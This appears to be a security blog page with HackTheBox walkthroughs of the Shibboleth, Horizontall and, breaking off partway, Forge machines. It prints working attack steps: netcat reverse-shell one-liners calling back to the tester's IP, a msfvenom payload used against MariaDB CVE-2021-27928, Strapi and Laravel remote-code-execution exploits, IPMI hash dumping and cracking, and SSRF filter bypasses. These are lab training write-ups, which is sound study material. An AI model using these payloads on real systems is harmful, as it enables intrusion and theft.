Here are the slide deck for the Nullcon Talk me and Shreya presented.

Presentation for nullcon 2022Download

And here are the Demo videos for both semgroup and XSS bomb.

Basic Semgrep usage

XSS bomb in action

XSS bomb in action

This is a walkthrough writeup on Shibboleth which is a Linux box categorized as medium difficulty on HackTheBox.The initial foothold was gained by dumping the IPMI password hashes through the asf-rmcp service running on UDP port 623 & leveraging these credentials to get code execution through the Zabbix server dashboard. Lateral privesc was made possible through password reuse. Privilege escalation to root user was gained by exploiting an eval injection vulnerability in the MariabDB database version that was being used on the box.

Walkthrough

Shibboleth Writeup: Scanning Network

Scanning ports with Nmap :

Command : nmap -p 80 -sC -sV -A -n -Pn -oN nmap.initial 10.10.11.124
Nmap scan report for 10.10.11.124
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://shibboleth.htb/

We see an Apache Web Server running on TCP port 80

Scanning the UDP ports :

Command : nmap -sU --min-rate 1000 -n -Pn $IP
Nmap scan report for 10.10.11.124
Host is up (0.26s latency).
Not shown: 989 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
137/udp   closed netbios-ns
623/udp   open   asf-rmcp
1022/udp  closed exp2
1038/udp  closed mtqp
18485/udp closed unknown
19933/udp closed unknown
22053/udp closed unknown
22986/udp closed unknown
32815/udp closed unknown
49154/udp closed unknown
58797/udp closed unknown

We have UDP port 623 open, running a service asf-rmcp.

Website Enumeration

On browsing the IP address, we were being redirected to shibboleth.htb indicating that the server is using virtual host routing. Thus, let us add an appropriate entry in the /etc/hosts file :

10.10.11.124	shibboleth.htb

I saw that the “Contact Us form” was throwing an error (seemed probably because a certain required library was not installed):

Found nothing worth use on this website. Moving ahead with sub-directory enumeration.

Dirbuster Scan

/forms/

Readme.txt

This was just a Bootstrap information file :

contact.php

This had the same error message which we encountered  earlier :

Sub-Domain Enumeration

We will be using the wfuzz tool, and also include the -H flag to add a Host header because the server is using virtual host routing :

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Shibboleth]
└─# wfuzz -H "Host: FUZZ.shibboleth.htb" --hl 9 -c -w /usr/share/wordlists/secLists/subdomains-top1million-5000.txt $IP
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.124/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                    
=====================================================================

000000099:   200        29 L     219 W      3684 Ch     "monitor"                                                                                                                  
000000346:   200        29 L     219 W      3684 Ch     "monitoring"                                                                                                               
000000390:   200        29 L     219 W      3684 Ch     "zabbix"                                                                                                                   

Total time: 0
Processed Requests: 4989
Filtered Requests: 4986
Requests/sec.: 0

We found 3 sub-domains, so let’s add them to the /etc/hosts file.

10.10.11.124	shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb

Well, on browsing, all the three sub-domains lead to the same page –> Zabbix login page

What is Zabbix ? Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption.

I tried a bunch of default credentials here, but none of them worked.

I was kinda hitting a wall here, but wait, remember that UDP port we found? Let’s enumerate that 🙂

Enumerating port 623 running asf-rmcp

What is asf-rmcp ? ASF is a DMTF standard that provides a remote control and alerting interface between management consoles and ASF-aware hosts. RMCP is a network protocol used by a management console to remotely control an ASF-aware host. This makes sense, because the host is running Zabbix, which is a monitoring software tool.

Dumping IPMI hashes

On googling, I stumbled upon this blog 623/UDP/TCP – IPMI – HackTricks

It has a section talking about “dumping IPMI hashes” using a Metasploit module, going ahead with this :

msf6 auxiliary(scanner/ipmi/ipmi_version) > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > options

Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):

   Name                  Current Setting                                            Required  Description
   ----                  ---------------                                            --------  -----------
   CRACK_COMMON          true                                                       yes       Automatically crack common passwords as they are obtained
   OUTPUT_HASHCAT_FILE                                                              no        Save captured password hashes in hashcat format
   OUTPUT_JOHN_FILE                                                                 no        Save captured password hashes in john the ripper format
   PASS_FILE             /usr/share/metasploit-framework/data/wordlists/ipmi_passw  yes       File containing common passwords for offline cracking, one per line
                         ords.txt
   RHOSTS                                                                           yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT                 623                                                        yes       The target port
   SESSION_MAX_ATTEMPTS  5                                                          yes       Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)
   SESSION_RETRY_DELAY   5                                                          yes       Delay between session retries in seconds
   THREADS               1                                                          yes       The number of concurrent threads (max one per host)
   USER_FILE             /usr/share/metasploit-framework/data/wordlists/ipmi_users  yes       File containing usernames, one per line
                         .txt

msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set RHOSTS 10.10.11.124
RHOSTS => 10.10.11.124
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run

[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:4458aac582020000479fa54d6008d9318aaf7129bfdcd2cc4ad4221b7e41c0f40c59e380513da442a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:1af2e66206082e7b78a920cc983f862daab424ae
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We did obtain a password hash for the user Administrator :

Administrator:4458aac582020000479fa54d6008d9318aaf7129bfdcd2cc4ad4221b7e41c0f40c59e380513da442a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:1af2e66206082e7b78a920cc983f862daab424ae

Cracking the obtained hash using hashcat

We checked the manual page for hashcat and saw that mode 7300 --> IPMI2 RAKP HMAC-SHA1.

hashcat.exe -m 7300 -a 0 -o ./wordlists/cracked.txt ./wordlists/hash.txt ./wordlists/rockyou.txt

4458aac582020000479fa54d6008d9318aaf7129bfdcd2cc4ad4221b7e41c0f40c59e380513da442a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:1af2e66206082e7b78a920cc983f862daab424ae

ilovepumkinpie1

Shibboleth Writeup: Zabbix Dashboard (logging in with obtained creds)

user : Administrator
pass : ilovepumkinpie1

Shibboleth Writeup: Shell as zabbix

Now, the next challenge to somehow get code execution through the access we got on Zabbix. On googling around, I found this old video by our teacher, Ippsec –> HackTheBox – Zipper – YouTube , in which he talks about how we can get authenticated code execution on Zabbix :

Going to the “Configuration –> Hosts” section, and choose the host on which you are concerned about, shibboleth.htb in our case :

Going to the “Items” section, and on the top right goto “Create Item” :

What is item in Zabbix ? Items are the ones that gather data from a host. Once you have configured a host, you need to add some monitoring items to start getting actual data.

We will fill up the fields, including the “Key” field with the reverse shell command by choosing ‘system.run‘ option from the drop-down list.

system.run key needs two arguments command and mode. We will give the reverse shell command as the first argument (command), and for mode parameter, we will use, nowait, because we want the reverse shell command to execute without wait.

Here is the complete command :

system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f,nowait]

Hit the “Test” option and then, click on “Get Value” to run the command & obtain a reverse shell.

Obtaining a reverse shell as user zabbix on our listening port :

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Shibboleth]
└─# nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.124] 32832
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=110(zabbix) gid=118(zabbix) groups=118(zabbix)
$ which python3
/usr/bin/python3
$ python3 -c "import pty;pty.spawn('/bin/bash')"

zabbix@shibboleth:/$ id
uid=110(zabbix) gid=118(zabbix) groups=118(zabbix)

Shibboleth Writeup: User Flag ⛳

Shell as ipmi-svc

We enumerated the file system and found out another user impi-svc. Using the password we found for Zabbix, we were able to switch to user ipmi-svc (password reuse) :

zabbix@shibboleth:/var/www/html$ su ipmi-svc
Password: 
ipmi-svc@shibboleth:/var/www/html$

ipmi-svc@shibboleth:~$ cat user.txt 
540b1***************************

Privilege Escalation

On further enumerating the file system, I found a config file for the Zabbix server, which revealed the database credentials :

FILE : /etc/zabbix/zabbix_server.conf

ipmi-svc@shibboleth:~$ cat /etc/zabbix/zabbix_server.conf | grep -v \^\# | grep -v '^$'

LogFile=/var/log/zabbix/zabbix_server.log
LogFileSize=0
PidFile=/run/zabbix/zabbix_server.pid
SocketDir=/run/zabbix

DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh

SNMPTrapperFile=/var/log/snmptrap/snmptrap.log
Timeout=4
AlertScriptsPath=/usr/lib/zabbix/alertscripts
ExternalScripts=/usr/lib/zabbix/externalscripts
FpingLocation=/usr/bin/fping
Fping6Location=/usr/bin/fping6
LogSlowQueries=3000
StatsAllowedIP=127.0.0.1

DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh

I immediately tried to connect to the MySQL database using the above creds & found some password hashes for the users of Zabbix

ipmi-svc@shibboleth:~$ mysql -D zabbix -u zabbix -p
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 3876
Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [zabbix]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| zabbix             |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [zabbix]> use zabbix;
Database changed

MariaDB [zabbix]> show tables;
+----------------------------+
| Tables_in_zabbix           |
+----------------------------+
    ********SNIP*******
| users                      |
    *******SNIP*********

MariaDB [zabbix]> select userid,alias,name,surname,passwd from users;
+--------+---------------+--------------+---------------+--------------------------------------------------------------+
| userid | alias         | name         | surname       | passwd                                                       |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+
|      1 | Admin         | Zabbix       | Administrator | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 |
|      2 | guest         |              |               | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |
|      3 | Administrator | IPMI Service | Account       | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+
3 rows in set (0.000 sec)

Although, we already had the password for the Admin user of Zabbix console but the database seemingly has 2 different Admin accounts and password hashes.

I tried to crack the hash for the Admin users but its a bcrypt hash, and was taking a hell lot of time. I did run hashcat for a while on it, but soon realized that this wasn’t the intended pathway for rooting this box.

After enumerating a lot, I was almost hitting a wall, but then I went on to check exploits for the services running on the box. And fortunately enough, I found something potentially exploitable.

Vulnerable DB version

The DB version is displayed to us when we log in to the database :

Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Searching for exploits for this version :

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Shibboleth]
└─# searchsploit mariadb 10
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
MariaDB 10.2 - 'wsrep_provider' OS Command Execution                                                                                                      | linux/local/49765.txt
MariaDB Client 10.1.26 - Denial of Service (PoC)                                                                                                          | linux/dos/45901.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

On googling around, I found that the MariaDB version 10.3.25 is vulnerable to CVE-2021-27928 :

MariaDB 10.2 Command Execution ≈ Packet Storm (packetstormsecurity.com)

Exploit : An untrusted search path leads to eval injection, in which a database SUPER user can execute OS commands after modifying 'wsrep_provider' and 'wsrep_notify_cmd'. Can read more about the vulnerability here.

# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

# Proof of Concept:

# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

# Start a listener
nc -lvp <port>

# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

Following the exploit instructions  –>

Exploit

Creating a reverse shell payload using msfvenom :

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Shibboleth]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=6969 -f elf-so -o reverse.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: reverse.so

Transferred it to the box by serving it on a Python server.

And setting the variable wsrep_provider with the value of the ‘path to the payload’, gives us a reverse shell as user root :

MariaDB [zabbix]> SET GLOBAL wsrep_provider="/home/ipmi-svc/reverse.so";
ERROR 2013 (HY000): Lost connection to MySQL server during query

MariaDB [zabbix]> 

Shibboleth Writeup: Root Flag ⛳

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Shibboleth]
└─# nc -nvlp 6969
listening on [any] 6969 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.124] 51714
id
uid=0(root) gid=0(root) groups=0(root)
pyhton3 -c "import pty;pty.spawn('/bin/bash')"
/bin/sh: 2: pyhton3: not found
python3 -c "import pty;pty.spawn('/bin/bash')"
root@shibboleth:/var/lib/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)
root@shibboleth:/var/lib/mysql# cat /root/root.txt
cat /root/root.txt
7615e***************************

Kudos for rooting Shibboleth. Until next time, keep hacking and do checkout other writeups and blogs on sheerazali.com

This is a walkthrough writeup on Horizontall which is a Linux box categorized as easy on HackTheBox. Primarily, the crux about rooting this was enumeration & CVE exploitation. The initial foothold was gained by enumerating and exploiting Strapi using CVE-2019-19609, and later the privilege escalation part was done using CVE-2021-3129.

Walkthrough

Horizontall Writeup: Scanning Network

Scanning ports with Nmap :

Command : nmap -A -Pn -n -sC -sV -v -oN nmap.initial 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.19s latency).
Not shown: 998 closed ports

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We only got SSH on port 22 & Apache WebServer on port 80. Let’s go ahead and enumerate the website now.

Enumerating the Website

The page we see on browsing the box IP address :

Intercepting the request with burp, we see :

The response. Status Code 301, is asking us to redirect to http://horizontal.htb. Seems like the server is only serving requests which have HOST: horizontall.htb header.

We will need to add this domain in our /etc/hosts file and point it to Horizontall’s IP address.

Editing the /etc/hosts file accordingly and adding the following entry

10.10.11.105    horizontall.htb

Also, add the above configuration in BurpSuite, in the Hostname Resolution, section.

Adding this entry in the /etc/hosts file will let our system know that whatever request we send to horizontall.htb domain, it needs to be sent to it’s corresponding IP address (/etc/hosts file entry), and our system will not query the DNS for the IP address of this domain.

We see a simple static webpage :

On enumerating the source code, we found this URL :

http://api-prod.horizontall.htb/reviews

which reveals an interesting sub-domain api-prod.horizontall.htb, let’s check it out later

You could have also tried fuzzing the subdomains, which would have also revealed this subdomain.

Horizontall Writeup:  Dirbuster (subdirectories enumeration)

Didn’t find anything very useful here 🙁

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
--------------------------------

http://horizontall.htb:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/

Dirs found with a 403 response:

/js/
/css/
/img/

--------------------------------
Files found during testing:

Files found with a 200 responce:

/js/app.c68eb462.js
/js/chunk-vendors.0e02b89e.js

--------------------------------

api-prod sub-domain enumeration

Let’s enumerate this subdomain api-prod from that URL we found in the source code. Firstly, also configure the /etc/hosts for this sub-domain.

10.10.11.105    api-prod.horizontall.htb

Browsing it in the browser :

Horizontall Writeup:  
Running Dirbuster on api-prod.horizontall.htb

We did find some potential sub-directories :

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Fri Oct 22 03:39:24 EDT 2021
--------------------------------

http://api-prod.horizontall.htb:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/

/admin/
/robots.txt/
/reviews/

Dirs found with a 403 response:

/connect/
/users/

--------------------------------
Files found during testing:

Files found with a 200 responce:

/admin/runtime~main.d078dc17.js
/admin/main.da91597e.chunk.js

--------------------------------

Let’s check them out 😉

Strapi

What is Strapi ? Strapi is an open-source headless CMS used for building fast and easily manageable APIs written in JavaScript. It enables developers to make flexible API structures easily using a beautiful user interface. Strapi can be used with various databases including MongoDB, PostgreSQL, etc.

The login panel →

Exploiting Strapi

Searching for “Strapi exploits” on google we found this “Unauthenticated RCE exploit for version 3.0.0-beta.17.4” —>

Strapi CMS 3.0.0-beta.17.4 – Remote Code Execution (RCE) (Unauthenticated) – Multiple webapps Exploit (exploit-db.com)

An RCE exploit, awesome!

Checking Strapi version

But we need to verify the Strapi version. Going through the source code of the exploit we see a check_version() function, which sends a GET request to /admin/init sub-directory to get the version info.

Thus, let us visit that URL to verify the Strapi version :

Downloading and running the exploit :

This exploit basically resets the password for the admin account  —>

┌─[✗]─[root@kali]─[~/Desktop/Boxes/HTB/Horizontall]
└──╼ python3 strapi_rce.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM1MDYyMjAyLCJleHAiOjE2Mzc2NTQyMDJ9.shH6CVOtYx7hdXyjR90SYiUMlhRdTnCb5mPGNFS4KgU

$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

But it did not execute commands, tt returned a 400 status code. However, it did successfully reset the password for the admin user.

So, I went ahead to look for a Gihutb version of the same CVE and found this —>

CVE-2019-19609-EXPLOIT/exploit.py at main · diego-tella/CVE-2019-19609-EXPLOIT (github.com)

Running it with the right parameters and the JWT we previously got in the output of the exploit we used earlier; and then wait for the reverse shell on the specified port —>

Nice, we have a reverse shell now 🙂

User Flag

We can further enumerate and get the user flag —>

strapi@horizontall:~/myapi$ cd /home

strapi@horizontall:/home$ ls
developer

strapi@horizontall:/home$ cd developer

strapi@horizontall:/home/developer$ ls -al   

total 108
drwxr-xr-x  8 developer developer  4096 Aug  2 12:07 .
drwxr-xr-x  3 root      root       4096 May 25 11:43 ..
lrwxrwxrwx  1 root      root          9 Aug  2 12:05 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1 12:53 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1 12:47 .bashrc
drwx------  3 developer developer  4096 May 26 12:00 .cache
-rw-rw----  1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------  5 developer developer  4096 Jun  1 11:54 .config
drwx------  3 developer developer  4096 May 25 11:45 .gnupg
drwxrwx---  3 developer developer  4096 May 25 19:44 .local
drwx------ 12 developer developer  4096 May 26 12:21 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4 11:21 .ssh
-r--r--r--  1 developer developer    33 Oct 24 05:33 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2 12:07 .viminfo -> /dev/null

strapi@horizontall:/home/developer$ cat user.txt
cat user.txt
82b*************************

Horizontall Writeup:  Privilege Escalation

Checking the internal listening ports on the box —>

strapi@horizontall:/home/developer$ netstat -lp

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 localhost:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:http            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:1337          0.0.0.0:*               LISTEN      1823/node /usr/bin/ 
tcp6       0      0 [::]:http               [::]:*                  LISTEN      -                   
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -                   

After using curl on internal port 8000 & 1337 to examine what’s running on them, we found the following services :

8000 --> some Laravel webpage/webapp
1337 --> strAPI

Now, let us use this awesome tool called chisel to forward this port 8000 to our local machine. We transferred chisel to remote box  by hosting it on a python web server and using wget on the remote box to download it.

Now, setting up chisel to forward remote machin’es port 8000 to out local machine’s port  6969

Setting up the server side (local machine) for chisel port forward :

┌─[root@kali]─[/opt/chisel]
└──╼ ./chisel server --reverse -p 6969

2021/10/24 04:59:31 server: Reverse tunnelling enabled
2021/10/24 04:59:31 server: Fingerprint fFuGUnOm0oRmOGLCgLgIzJle8zEmjjTMbMqb/sYs8i8=
2021/10/24 04:59:31 server: Listening on http://0.0.0.0:6969
2021/10/24 05:01:55 server: session#1: tun: proxy#R:8181=>8000: Listening

Setting up the client side (remote machine) for chisel port forward :

strapi@horizontall:/tmp$ ./chisel client 10.10.14.8:6969 R:8181:127.0.0.1:8000

./chisel client 10.10.14.8:6969 R:8181:127.0.0.1:8000
2021/10/24 09:09:13 client: Connecting to ws://10.10.14.8:6969
2021/10/24 09:09:14 client: Connected (Latency 179.251437ms)

Great! Now let’s browse to localhost:6969 on our local machine, we see this Laravel application running here —>

We can also see the version info for Laravel on this page. This machine is running Laravel v8 .

You know the ritual now 🙂  Let’s search for exploits for this version.

On We found this PHP deserialization exploit that gets remote code execution on Laravel debug mode :

Laravel 8.4.2 debug mode – Remote code execution – PHP webapps Exploit (exploit-db.com)

Because this CVE required the path to the Laravel project log file on the remote machine (which we didn’t have and couldn’t find after enumerating the box), thus we searched for an alternate exploit and found this :

ambionics/laravel-exploits: Exploit for CVE-2021-3129 (github.com)

When I first ran this exploit, it gave an error, but later on googling about that error I realized that we will need to install a dependency to run this exploit which is phpggc or else the exploit wil give error.

Use git clone on this repo to install phpggc

ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. (github.com)

Running the exploit and gaining a root shell

Run the first command for the exploit from inside the phpggc directory.

┌─[root@kali]─[~/Desktop/Boxes/HTB/Horizontall]
└──╼ cd phpggc/

┌─[root@kali]─[~/Desktop/Boxes/HTB/Horizontall/phpggc]
└──╼ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id

┌─[root@kali]─[~/Desktop/Boxes/HTB/Horizontall/laravel-exploits]
└──╼ #./laravel-ignition-rce.py http://localhost:8181/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared

Root Flag

Noice !

Now let’s alter the first command we ran to get a root shell.

We need to replace id with a reverse shell command.

┌─[root@kali]─[~/Desktop/Boxes/HTB/Horizontall/phpggc]                                       
└──╼ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f"

And now catching the reverse shell :

┌─[root@kali]─[~/Desktop/Boxes/HTB/Horizontall]
└──╼ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.105] 54110
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# python -c "import pty;pty.spawn('/bin/bash')"

root@horizontall:/home/developer/myproject/public# cd /root
cd /root

root@horizontall:~# cat root.txt
cat root.txt
c956da38e0ac893e9f3dbd9c405671d9

Kudos for rooting Horizontall. Until next time, keep hacking and do checkout other writeups and blogs on sheerazali.com

This is a walkthrough writeup on Forge which is a Linux box categorized as medium on HackTheBox. The initial foothold was gained by discovering and exploiting SSRF (Server-Side Request Forgery) in a file upload functionality to access an internal sub-domain which revealed the FTP credentials using which we were able to read the SSH private key by FTPing via the SSRF endpoint . Meanwhile, the privilege escalation part was done by exploiting the SUDO permissions we had for a python script. This box primarily focused on the SSRF filter bypassing techniques.

Forge Writeup: Scanning Network

Running the usual Nmap port scan :

Command used -->  nmap -A -sC -sV -v -Pn -n -oN nmap.initial 10.10.11.111
Nmap scan report for 10.10.11.111
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)

PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We have 3 ports to work with :

port 21 : FTP (which is labelled as filtered meaning that it is either blocked or internal only)
port 22 : SSH
port 80 : Apache web-server

Forge Writeup: Web Enumeration

Checking out the hosted website in browser :

On browsing the target IP we were redirected to forge.htb which indicates that the target is using Virtual Host Routing, thus let’s add the required entry in the /etc/hosts file :

10.10.11.111	forge.htb

Browsing forge.htb :

Wappalyzer tells us that the server is running PHP.

There’s a hyperlink to /upload directory at the top right of the page. On the /upload we have two ways to upload an image :

i) Upload a Local File

ii) Upload from URL

Running a Dirbuster Scan

Found nothing interesting here :

Sub-Domain Enumeration

• I will be using wfuzz for sub-domain enumeration because it offers virtual host sub-domain enumeration:

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Forge/revision]
└─# wfuzz -H "Host: FUZZ.forge.htb" --sc 200 -c -w /usr/share/wordlists/secLists/subdomains-top1million-5000.txt $IP

 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: <http://10.10.11.111/>
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                    
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"

Total time: 148.1117
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 33.68402

We found one sub-domain :

admin.forge.htb

Let’s try to access it :

admin.forge.htb

I did try different bypasses like using X-Forwarded-For HTTP header, but nothing seemed to work.

😖 Let’s come back to this later.

Uploading Reverse Shell [Failed to execute]

Wappalyzer informed that the server is running PHP therefore we tried to upload a php reverse shell :

• The shell was uploaded in the /uploads directory with a random name.
• We tried accessing the file, but the PHP reverse shell file isn’t being executed & thus we were not able to get a reverse shell.

Exploiting SSRF in “Upload from URL” functionality

Next we tried the obvious attack on the Upload from URL functionality which is “Server Side Request Forgery”. Read more about it here.

• When we try to access http://127.0.0.1 , the message reveals that a “blacklsist” filter is being used to block malicious input in order to prevent SSRF attacks.

Trying to bypass this filter by using various workarounds, we were able bypass this filter using the payload :

http://127.1

127.1 also resolves to "localhost"

for your information, there are multiple ways to denote "localhost",
one of which is "127.1" 😉

Next, we tried to access some sensitive files on the server using the file protocol :

file:///etc/passwd

Ahh, sadly it seems like only http & https protocols are allowed.

Trying to access admin.forge.htb

• The homepage on this sub-domain says : “Only localhost is allowed!”

Now, we know that we have an SSRF vulnerable endpoint, let’s try accessing this sub-domain from there because then the request for accessing admin.forge.htb will be going from the localhost 😈

Trying to access http://forge.htb first in order to figure out the filter bypass :

Bypassing the blacklist filter by capitalizing the letters : http://FORGE.htb

Hmm, we can’t see the contents of the page, so let’s intercept this with Burp.

Ahaaa, as you can see the header “Content-Type: image/jpg”. Thats the reason our browser is throwing an error.

